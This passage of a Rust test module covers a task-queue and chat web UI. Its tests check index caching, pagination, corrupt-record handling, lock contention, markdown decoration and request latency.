25409                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25410                        open.clone(),
25411                    ),
25412                );
25413            }
25414        }
25415        // Even when open rows exceed the bound, keep the currently requested rows.
25416        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25417        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25418        assert_eq!(
25419            ui.monitor
25420                .talk_parses
25421                .load(std::sync::atomic::Ordering::Relaxed),
25422            2
25423        );
25424    }
25425
25426    #[test]
25427    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25428        let home = tempfile::tempdir().unwrap();
25429        let ui = delta_test_ui(home.path());
25430        std::fs::create_dir_all(ui.talks.root()).unwrap();
25431        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25432        for id in &ids {
25433            std::fs::write(
25434                ui.talks.path_of(id),
25435                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25436            )
25437            .unwrap();
25438        }
25439        assert!(open_talk_ids(&ui, &ids).is_empty());
25440        assert_eq!(
25441            ui.monitor.talk_status_index.lock().unwrap().parses,
25442            ids.len()
25443        );
25444        assert!(open_talk_ids(&ui, &ids).is_empty());
25445        assert_eq!(
25446            ui.monitor.talk_status_index.lock().unwrap().parses,
25447            ids.len()
25448        );
25449        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25450        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25451        assert_eq!(
25452            open_talk_ids(&ui, &ids),
25453            std::collections::HashSet::from([ids[0].clone()])
25454        );
25455        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25456        assert_eq!(parsed, ids.len() + 2);
25457        open_talk_ids(&ui, &ids);
25458        assert_eq!(
25459            ui.monitor.talk_status_index.lock().unwrap().parses,
25460            parsed,
25461            "unreadable rows are cached too"
25462        );
25463        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25464        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25465        assert!(
25466            !ui.monitor
25467                .talk_status_index
25468                .lock()
25469                .unwrap()
25470                .records
25471                .contains_key(&ids[0])
25472        );
25473        assert!(
25474            ui.monitor.talk_index.lock().unwrap().is_empty(),
25475            "classification never caches bodies"
25476        );
25477    }
25478
25479    #[tokio::test]
25480    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25481        let home = tempfile::tempdir().unwrap();
25482        let ui = delta_test_ui(home.path());
25483        let mut task = Task::new(
25484            "task".into(),
25485            "body".into(),
25486            PathBuf::from("/repo"),
25487            Source::Human,
25488        );
25489        ui.queue.put(&mut task).unwrap();
25490        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25491        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25492        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25493        let expected = parsed + usize::from(!cfg!(unix));
25494        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25495        task.status = crate::queue::TaskStatus::Held;
25496        ui.queue.put(&mut task).unwrap();
25497        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25498        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25499        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25500        ui.queue.put(&mut task).unwrap();
25501        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25502        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25503        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25504    }
25505
25506    #[tokio::test]
25507    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25508        let home = tempfile::tempdir().unwrap();
25509        let ui = delta_test_ui(home.path());
25510        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25511        let before = health(State(ui.clone())).await.unwrap().0;
25512        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25513        let after = health(State(ui)).await.unwrap().0;
25514        assert_ne!(before.notifications_rev, after.notifications_rev);
25515        assert_eq!(after.notifications_unread, 1);
25516    }
25517
25518    #[tokio::test]
25519    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25520        let home = tempfile::tempdir().unwrap();
25521        let ui = delta_test_ui(home.path());
25522        let queue = &ui.queue;
25523        let talks = &ui.talks;
25524        for i in 0..1000 {
25525            let id = format!("20261019-{i:06}-page");
25526            let mut task = Task::new(
25527                "task".into(),
25528                "instruction".repeat(100),
25529                PathBuf::from("/repo/magi"),
25530                Source::Human,
25531            );
25532            task.id = id.clone();
25533            if i == 0 {
25534                task.status = crate::queue::TaskStatus::Held;
25535            } else if i == 999 {
25536                task.status = crate::queue::TaskStatus::Blocked;
25537                task.blocked_by = vec!["20261019-000000-page".into()];
25538            }
25539            queue.put(&mut task).unwrap();
25540            seed_talk_at(talks, &id, "closed");
25541        }
25542        let page = serde_json::to_value(
25543            queue_page(State(ui.clone()), Query(PageQuery::default()))
25544                .await
25545                .unwrap()
25546                .0,
25547        )
25548        .unwrap();
25549        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25550        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25551        assert!(
25552            !page["rows"][0]["stuck_roots"]
25553                .as_array()
25554                .unwrap()
25555                .is_empty()
25556        );
25557        let cursor = page["next"].as_str().unwrap();
25558        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25559            .as_str()
25560            .unwrap();
25561        // Deleting an already enumerated file cannot shift or repeat a page.
25562        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25563        let next = serde_json::to_value(
25564            queue_page(
25565                State(ui.clone()),
25566                Query(PageQuery {
25567                    before: Some(cursor.into()),
25568                }),
25569            )
25570            .await
25571            .unwrap()
25572            .0,
25573        )
25574        .unwrap();
25575        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25576        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25577        let chats = serde_json::to_value(
25578            talks_page(
25579                State(ui.clone()),
25580                Query(PageQuery::default()),
25581                header::HeaderMap::new(),
25582            )
25583            .await
25584            .unwrap()
25585            .0,
25586        )
25587        .unwrap();
25588        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25589        assert!(chats["rows"][0].get("pending").is_none());
25590        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25591        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25592        assert_eq!(counts["held"], 1);
25593        assert_eq!(counts["blocked"], 1);
25594        assert_eq!(counts["queued"], 997);
25595    }
25596
25597    #[test]
25598    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25599        let dir = tempfile::tempdir().unwrap();
25600        let ui = delta_test_ui(dir.path());
25601        let mut task = Task::new(
25602            "task".into(),
25603            "body".into(),
25604            PathBuf::from("/repo"),
25605            Source::Human,
25606        );
25607        task.runs = vec!["run-a".into()];
25608        ui.queue.put(&mut task).unwrap();
25609        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25610        task.runs = vec!["run-b".into()];
25611        let path = ui.queue.path_of(&task.id);
25612        let modified = path.metadata().unwrap().modified().unwrap();
25613        let replacement = path.with_extension("replacement");
25614        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25615        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25616        std::fs::write(&replacement, &bytes).unwrap();
25617        std::fs::File::options()
25618            .write(true)
25619            .open(&replacement)
25620            .unwrap()
25621            .set_times(std::fs::FileTimes::new().set_modified(modified))
25622            .unwrap();
25623        std::fs::rename(&replacement, &path).unwrap();
25624        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25625        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25626        std::fs::write(&path, "broken").unwrap();
25627        assert!(ui.find_task_for_run("run-b").is_err());
25628        std::fs::write(&path, bytes).unwrap();
25629        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25630        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25631        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25632    }
25633
25634    #[tokio::test]
25635    async fn conversation_core_is_independent_of_unreadable_related_history() {
25636        let home = tempfile::tempdir().unwrap();
25637        let ui = delta_test_ui(home.path());
25638        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25639        std::fs::create_dir_all(ui.queue.root()).unwrap();
25640        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25641        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25642            .await
25643            .unwrap();
25644        assert_eq!(core.talk.id, id);
25645        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25646    }
25647
25648    #[test]
25649    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25650        let home = tempfile::tempdir().unwrap();
25651        let ui = delta_test_ui(home.path());
25652        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25653        let directory = home.path().join("workers/jobs/abcdef");
25654        std::fs::create_dir_all(&directory).unwrap();
25655        let job = crate::worker::Job {
25656            id: "abcdef".into(),
25657            sequence: 1,
25658            kind: "chat".into(),
25659            key: id.clone(),
25660            payload: serde_json::json!({ "talk": id }),
25661            generation: "test".into(),
25662            version: None,
25663            status: crate::worker::Status::Running,
25664            result: None,
25665            pid: None,
25666            created_at: 0,
25667            finished_at: None,
25668        };
25669        std::fs::write(
25670            directory.join("job.json"),
25671            serde_json::to_vec(&job).unwrap(),
25672        )
25673        .unwrap();
25674        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25675        let store =
25676            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25677        let runtime = tokio::runtime::Builder::new_current_thread()
25678            .enable_all()
25679            .max_blocking_threads(1)
25680            .build()
25681            .unwrap();
25682        runtime.block_on(async {
25683            let (release, held) = std::sync::mpsc::channel();
25684            let (started, ready) = tokio::sync::oneshot::channel();
25685            let occupied = tokio::task::spawn_blocking(move || {
25686                started.send(()).unwrap();
25687                held.recv().unwrap();
25688            });
25689            ready.await.unwrap();
25690            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25691            let bulk = ui
25692                .monitor
25693                .bulk_slots
25694                .clone()
25695                .acquire_many_owned(2)
25696                .await
25697                .unwrap();
25698            let result = tokio::time::timeout(
25699                Duration::from_secs(2),
25700                talk_core(State(ui.clone()), Path(id.clone())),
25701            )
25702            .await;
25703            // Release all blockers before assertions, including on a regression.
25704            drop(store);
25705            drop(bulk);
25706            release.send(()).unwrap();
25707            occupied.await.unwrap();
25708            let _ = secondary.await.unwrap().unwrap();
25709            let Json(core) = result
25710                .expect("transcript must bypass secondary work and the worker store lock")
25711                .unwrap();
25712            assert!(
25713                core.thinking,
25714                "read-only observation retains live worker state"
25715            );
25716            assert_eq!(core.talk.id, id);
25717            let admission_ui = ui.clone();
25718            let (release, held) = std::sync::mpsc::channel();
25719            let (started, ready) = tokio::sync::oneshot::channel();
25720            let admission = std::thread::spawn(move || {
25721                let _lock = admission_ui.talk_turns.lock().unwrap();
25722                started.send(()).unwrap();
25723                held.recv().unwrap();
25724            });
25725            ready.await.unwrap();
25726            let result = tokio::time::timeout(
25727                Duration::from_secs(2),
25728                talk_core(State(ui.clone()), Path(id.clone())),
25729            )
25730            .await;
25731            release.send(()).unwrap();
25732            admission.join().unwrap();
25733            assert!(
25734                result
25735                    .expect("display must not wait behind local admission")
25736                    .unwrap()
25737                    .0
25738                    .thinking
25739            );
25740            assert!(ui.is_thinking(&id));
25741            assert!(ui.is_thinking_observed(&id));
25742            drop(live);
25743            assert!(
25744                !ui.is_thinking_observed(&id),
25745                "a finished lease no longer appears live"
25746            );
25747            assert!(!ui.is_thinking(&id));
25748            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25749            assert!(
25750                ui.is_thinking_observed(&id),
25751                "local admission remains visible"
25752            );
25753        });
25754    }
25755
25756    #[tokio::test]
25757    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25758        let home = tempfile::tempdir().unwrap();
25759        let ui = delta_test_ui(home.path());
25760        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25761        let mut task = Task::new(
25762            "Referenced task".into(),
25763            "Unrelated instruction history".repeat(1024),
25764            home.path().into(),
25765            Source::Human,
25766        );
25767        task.id = "20261019-000000-abcd".into();
25768        ui.queue.put(&mut task).unwrap();
25769        let mut conversation = ui.talks.get(&id).unwrap();
25770        conversation.turns.push(talk::Turn {
25771            sender: Some(talk::Sender::Persona),
25772            who: talk::Who::Agent,
25773            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25774            at: conversation.created_at,
25775            attachments: Vec::new(),
25776            usage: None,
25777            breaks: None,
25778            messages: Vec::new(),
25779            posted_by: None,
25780        });
25781        ui.talks.put(&mut conversation).unwrap();
25782
25783        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25784        let markdown = serde_json::to_value(&core.turn_bodies_md)
25785            .unwrap()
25786            .to_string();
25787        assert!(markdown.contains("\"strong\""));
25788        assert!(markdown.contains("\"table\""));
25789        assert!(markdown.contains("\"bullet_list\""));
25790        assert!(markdown.contains("\"code_block\""));
25791        assert!(!markdown.contains("\"internal_link\""));
25792        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25793        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25794        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25795
25796        // Deferred decoration still resolves the same validated task, without
25797        // touching opaque code blocks or changing the original transcript.
25798        let references = ui.references.for_talk(home.path(), &conversation);
25799        let mut decorated = core.turn_bodies_md[0].clone();
25800        references.markdown(&mut decorated);
25801        let decorated = serde_json::to_value(decorated).unwrap().to_string();
25802        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25803        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25804        assert_eq!(
25805            ui.talks.get(&conversation.id).unwrap().turns[0].body,
25806            conversation.turns[0].body
25807        );
25808    }
25809
25810    #[tokio::test]
25811    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25812        let home = tempfile::tempdir().unwrap();
25813        let ui = delta_test_ui(home.path());
25814        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25815        let mut run = RunState::new(
25816            PathBuf::from("/repo"),
25817            "main".into(),
25818            "01234567".into(),
25819            "Useful run".into(),
25820            Config::default(),
25821        );
25822        run.save_under(home.path()).unwrap();
25823        let mut task = Task::new(
25824            "Related".into(),
25825            "body".into(),
25826            PathBuf::from("/repo"),
25827            Source::Agent {
25828                run: talk_id.clone(),
25829                node: "chat".into(),
25830            },
25831        );
25832        task.runs = vec![run.id.clone()];
25833        ui.queue.put(&mut task).unwrap();
25834        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25835        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25836        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25837        assert!(
25838            run_detail(State(ui.clone()), Path(run.id.clone()))
25839                .await
25840                .is_ok()
25841        );
25842        assert!(
25843            talk_sections(State(ui.clone()), Path(talk_id.clone()))
25844                .await
25845                .is_ok()
25846        );
25847        // Previously indexed corruption must not masquerade as no relationship.
25848        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25849        assert!(ui.find_task_for_run(&run.id).is_err());
25850        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25851        ui.queue.put(&mut task).unwrap();
25852        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25853    }
25854
25855    #[tokio::test]
25856    async fn conversation_sections_omit_large_task_instructions() {
25857        let home = tempfile::tempdir().unwrap();
25858        let ui = delta_test_ui(home.path());
25859        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25860        let mut task = Task::new(
25861            "filed task".into(),
25862            "large instruction ".repeat(65536),
25863            PathBuf::from("/repo"),
25864            Source::Agent {
25865                run: id.clone(),
25866                node: "chat".into(),
25867            },
25868        );
25869        ui.queue.put(&mut task).unwrap();
25870        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25871        assert_eq!(sections["tasks"][0]["id"], task.id);
25872        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25873        assert!(sections["tasks"][0].get("instruction").is_none());
25874        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
25875    }
25876
25877    #[test]
25878    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25879        let home = tempfile::tempdir().unwrap();
25880        let talks = Talks::at(home.path().join("talks"));
25881        seed_talk_at(&talks, "20261019-000001-abcd", "open");
25882        seed_talk_at(&talks, "20261019-000002-abcd", "open");
25883        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25884        assert!(resolve_talk(&talks, "../outside").is_err());
25885        assert!(resolve_talk(&talks, "abcd").is_err());
25886        assert_eq!(
25887            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25888            "20261019-000001-abcd"
25889        );
25890    }
25891
25892    include!(concat!(
25893        env!("CARGO_MANIFEST_DIR"),
25894        "/tests/web_latency/baseline.rs"
25895    ));
25896
25897    include!(concat!(
25898        env!("CARGO_MANIFEST_DIR"),
25899        "/tests/web_latency/lists.rs"
25900    ));
25901
25902    #[tokio::test]
25903    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25904    async fn web_history_latency_measurement() {
25905        use std::time::Instant;
25906        let home = tempfile::tempdir().unwrap();
25907        let ui = delta_test_ui(home.path());
25908        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25909        let mut template = ui.talks.get(&id).unwrap();
25910        template.turns = serde_json::from_value(serde_json::json!([{
25911            "who": "operator", "body": "Show the accumulated work and its current status.",
25912            "at": Timestamp::now().to_string(),
25913        }]))
25914        .unwrap();
25915        std::fs::write(
25916            ui.talks.path_of(&id),
25917            serde_json::to_vec(&template).unwrap(),
25918        )
25919        .unwrap();
25920        let count = std::env::var("MAGI_BENCH_RECORDS")
25921            .ok()
25922            .and_then(|s| s.parse::<usize>().ok())
25923            .unwrap_or(1000);
25924        for i in 0..count {
25925            template.id = format!("20261019-{i:06}-history");
25926            template.pending = "history ".repeat(2048);
25927            std::fs::write(
25928                ui.talks.path_of(&template.id),
25929                serde_json::to_vec(&template).unwrap(),
25930            )
25931            .unwrap();
25932            let mut task = Task::new(
25933                "old task".into(),
25934                "instruction ".repeat(2048),
25935                PathBuf::from("/repo"),
25936                Source::Human,
25937            );
25938            task.id = format!("20261019-{i:06}-task");
25939            ui.queue.put(&mut task).unwrap();
25940        }
25941        for baseline in [true, false] {
25942            for clients in [1, 4] {
25943                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25944                let mut samples = Vec::new();
25945                for _ in 0..12 {
25946                    let mut jobs = Vec::new();
25947                    for _ in 0..clients {
25948                        let ui = ui.clone();
25949                        let id = id.clone();
25950                        jobs.push(tokio::spawn(async move {
25951                            let start = Instant::now();
25952                            if baseline {
25953                                let response =
25954                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25955                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25956                                return (
25957                                    elapsed,
25958                                    elapsed,
25959                                    serde_json::to_vec(&response).unwrap().len(),
25960                                );
25961                            }
25962                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25963                            let secondary = talk_sections(State(ui), Path(id));
25964                            let (first, total) = tokio::join!(
25965                                async {
25966                                    let value = core.await.unwrap().0;
25967                                    (
25968                                        start.elapsed().as_secs_f64() * 1000.0,
25969                                        serde_json::to_vec(&value).unwrap().len(),
25970                                    )
25971                                },
25972                                async {
25973                                    let value = secondary.await.unwrap().0;
25974                                    (
25975                                        start.elapsed().as_secs_f64() * 1000.0,
25976                                        serde_json::to_vec(&value).unwrap().len(),
25977                                    )
25978                                }
25979                            );
25980                            (first.0, first.0.max(total.0), first.1 + total.1)
25981                        }));
25982                    }
25983                    for job in jobs {
25984                        samples.push(job.await.unwrap());
25985                    }
25986                }
25987                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25988                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25989                first.sort_by(f64::total_cmp);
25990                total.sort_by(f64::total_cmp);
25991                let n = first.len();
25992                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25993                println!(
25994                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25995                    first[n / 2],
25996                    first[(n * 95 / 100).min(n - 1)],
25997                    total[n / 2],
25998                    total[(n * 95 / 100).min(n - 1)],
25999                    samples[0].2
26000                );
26001            }
26002        }
26003    }
26004
26005    #[test]
26006    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26007        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26008        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26009        assert!(APP_JS.contains("function nextRunRequest(id)"));
26010        assert!(APP_JS.contains("function runShell(id, summary)"));
26011        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26012        assert!(APP_JS.contains("function taskShell(id, summary)"));
26013        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26014    }
26015}